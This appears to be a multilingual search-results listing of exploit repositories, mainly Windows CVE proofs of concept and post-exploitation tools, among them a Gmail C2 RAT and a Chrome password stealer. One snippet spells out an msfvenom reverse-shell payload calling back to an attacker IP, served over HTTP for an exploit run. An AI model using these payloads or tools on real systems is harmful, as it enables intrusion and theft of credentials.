249611 matches found
CVE-2025-0288
CVE-2025-0287 يحتوي هذا المستودع على لقطة شاشة للدالة الضعيفة التي تم تحديدها أثناء الهندسة العكسية لبرنامج تشغيل Windows ضعيف. الوصف biontdrv.sysVul: النسخة الضعيفة biontdrv.sysSecure: النسخة المصححة POCCVE-2025-0288.c: كود إثبات المفهوم diff.png: لقطة شاشة للدالة الضعيفة التحليل تحليل مفصل متاح...
CVE-2022-26937
إثبات المفهوم لتعطل نظام ملفات شبكة ويندوز CVE-2022-26937 nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical data structure. T...
cve-2022-3218
Étape 1 — Créer un payload RÉEL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Étape 2 — Servir le payload via HTTP Dans le même répertoire : python3 -m http.server 80 Étape 3 — Ajuster l'exploit Exécute ainsi : python3 CVE-2022-3218.py 172.20.7.1...
CVE-2022-21971
CVE-2022-21971: prauthproviders में अप्रारंभित पॉइंटर मुक्त मूल कारण WapAuthProvider::CreateInstance कंस्ट्रक्टर एक WapAuthProvider ऑब्जेक्ट 0x78 बाइट्स आवंटित और आरंभ करता है लेकिन यह अपनी स्थिति को पूरी तरह से आरंभ करने में विफल रहता है। ऑफसेट 0x50 पर पॉइंटर अप्रारंभित है और डिस्ट्रक्टर...
CVE-2025-5548-FreeFloat-FTP-Buffer-Overflow
CVE-2025-5548 — FreeFloat FTP Server 1.0 में Buffer Overflow भेद्यता विश्लेषण और शोषण प्रयोगशाला · एक्सप्लॉइट डेवलपमेंट · Windows x86 यह रिपॉजिटरी किस बारे में है? यह रिपॉजिटरी विंडोज के लिए FreeFloat FTP Server 1.0 में मौजूद CVE-2025-5548 भेद्यता के विश्लेषण और शोषण की प्रक्रिया का पूर्ण...
CVE-2023-21768
CVE-2023-21768 स्थानीय विशेषाधिकार वृद्धि POC लेखक: chompie और b33f केवल प्रदर्शन उद्देश्यों के लिए। पूरा एक्सप्लॉइट कमजोर Windows 11 22H2 सिस्टम पर काम करता है। Write primitive सभी कमजोर सिस्टम पर काम करता है। उपयोग: WindowsAFDLPECVE-2023-21768.exe जहाँ उस प्रक्रिया का प्रक्रिया आईडी दशमलव में ह...
CVE-2019-1253
CVE-2019-1253 الـ Poc الأصلي المُرسل إلى MSRC. تم إصلاح هذه المشكلة مع التحديث المنتظم "الثلاثاء" لشهر سبتمبر 2019. تم تخصيصها إلى CVE-2019-1253 - ثغرة رفع الامتيازات في Windows. https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 يوجد نوعان من PoC: النوع الذي أرسلته ...
RDGScanner
CVE-2020-0609 और CVE-2020-0610 के लिए स्कैनर RDP गेटवे सर्वर पर CVE-2020-0609 और CVE-2020-0610 भेद्यताओं की जाँच करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर। इस पर परीक्षण किया गया: Windows Server 2012 x64 Windows Server 2016 x64 Windows Server 2019 x64 अस्वीकरण मेमोरी भ्रष्टाचार भेद्यताओं के लिए...
COMahawk
COMahawk विशेषाधिकार वृद्धि: CVE-2019-1405 और CVE-2019-1322 का शस्त्रीकरण वीडियो डेमो https://vimeo.com/373051209 उपयोग रिलीज़ से संकलित या डाउनलोड करें https://github.com/apt69/COMahawk/releases 1. COMahawk.exe चलाएँ 2. ??? 3. उम्मीद है लाभ होगा या 1. COMahawk.exe "चलाने के लिए कस्टम कमांड" जैसे...
NetRipper
विवरण NetRipper एक पोस्ट-एक्सप्लॉइटेशन टूल है जो विंडोज सिस्टम को लक्ष्य करता है और नेटवर्क ट्रैफिक को इंटरसेप्ट करने के लिए API हुकिंग का उपयोग करता है, एक निम्न विशेषाधिकार वाले उपयोगकर्ता से, सादा-पाठ ट्रैफिक और एन्क्रिप्टेड ट्रैफिक दोनों को एन्क्रिप्शन से पहले/डिक्रिप्शन के बाद कैप्चर करने मे...
windows-kernel-exploits
windows-kernel-exploits مقدمة windows-kernel-exploits قائمة الثغرات Security Bulletin KB Description Operating System CVE-2021-33739 Microsoft DWM Core Library Elevation of Privilege Vulnerability Windows 10, 20 CVE-2021-1732 Windows Win32k Elevation of Privilege Vulnerability Windows 10, 2019/20...
cve-2021-1675
〖EXP〗ثغرة رفع الصلاحيات في طابعة Ladon CVE-2021-1675 إعادة إنتاج http://k8gege.org/p/CVE-2021-1675.html المعلومات الأساسية في 9 يونيو، أصدرت Microsoft تحديث الأمان لشهر يونيو، والذي أصلح 50 ثغرة أمنية، بما في ذلك ثغرة رفع الصلاحيات في خدمة Print Spooler في Windows، برقم CVE: CVE-2021-1675. يمكن...
CVE-2022-34718-PoC
CVE-2022-34718 IPv6 रिमोट कोड निष्पादन शोषण नमूना इस रिपॉजिटरी में CVE-2022-34718 का शोषण है, जो विंडोज सिस्टम पर IPv6 में एक रिमोट कोड निष्पादन RCE भेद्यता है। कैसे करें चूंकि भेद्यता के लिए विशेष रूप से निर्मित IPv6 पैकेट की आवश्यकता होती है, यह Scapy मॉड्यूल पर निर्भर करता है और इसलिए इसे रूट ...
pwncat
pwncat pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown from there. It streamlines common red team operations while staging code from your attacker machine, not the target. pwncat used to only support Linux, b...
gmailc2
gmailc2 A Fully Undetectable C2 Server That Communicates Via Google SMTP to evade Antivirus Protections and Network Traffic Restrictions Note: This RAT communicates Via Gmail SMTP or u can use any other smtps as well but Gmail SMTP is valid because most of the companies block unknown traffic so...
chromepass
Chromepass - क्रोम के सहेजे गए पासवर्ड और कुकीज़ हैक करना डेमो देखें · बग रिपोर्ट करें · सुविधा का अनुरोध करें विषय सूची परियोजना के बारे में AV पहचान आरंभ करना पूर्वापेक्षाएँ स्थापना उपयोग ईमेल त्रुटियाँ, बग और सुविधा अनुरोध और जानें लाइसेंस डेमो परियोजना के बारे में Chromepass एक पायथन-आधारित...
DumpSMBShare
Windows SMB शेयर से दूरस्थ रूप से फ़ाइलों और फ़ोल्डरों को डंप करने के लिए एक पायथन स्क्रिप्ट। विशेषताएँ केवल --list-shares के साथ शेयर सूचीबद्ध करें। दिए गए एक्सटेंशन वाली फ़ाइलें --extensions के साथ या सभी फ़ाइलें चुनें। --dump-dir के साथ डंप करने के लिए स्थानीय फ़ोल्डर चुनें। --base-dir के साथ...
CVE-2024-24576-Exploit
CVE-2024-24576-Exploit توثيق واجهات برمجة التطبيقات Command::arg و Command::args ينص على أن الوسائط سيتم تمريرها إلى العملية المنبثقة كما هي، بغض النظر عن محتوى الوسائط، ولن يتم تقييمها بواسطة شل. هذا يعني أنه من الآمن تمرير مدخلات غير موثوقة كوسيطة. على ويندوز ، يكون تنفيذ هذا أكثر تعقيدًا من...
CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-
CVE-2025-8088 إثبات مفهوم لـ WinRAR استغلال PoC يحتوي هذا المستودع على نص برمجي لإثبات المفهوم PoC لـ CVE-2025-8088 ، وهي ثغرة اجتياز المسار في إصدارات WinRAR حتى 7.12. يوضح هذا الإثبات كيف يمكن للمهاجمين استغلال الثغرة لوضع ملفات ضارة خارج دليل الاستخراج المقصود باستخدام تدفقات البيانات البديلة...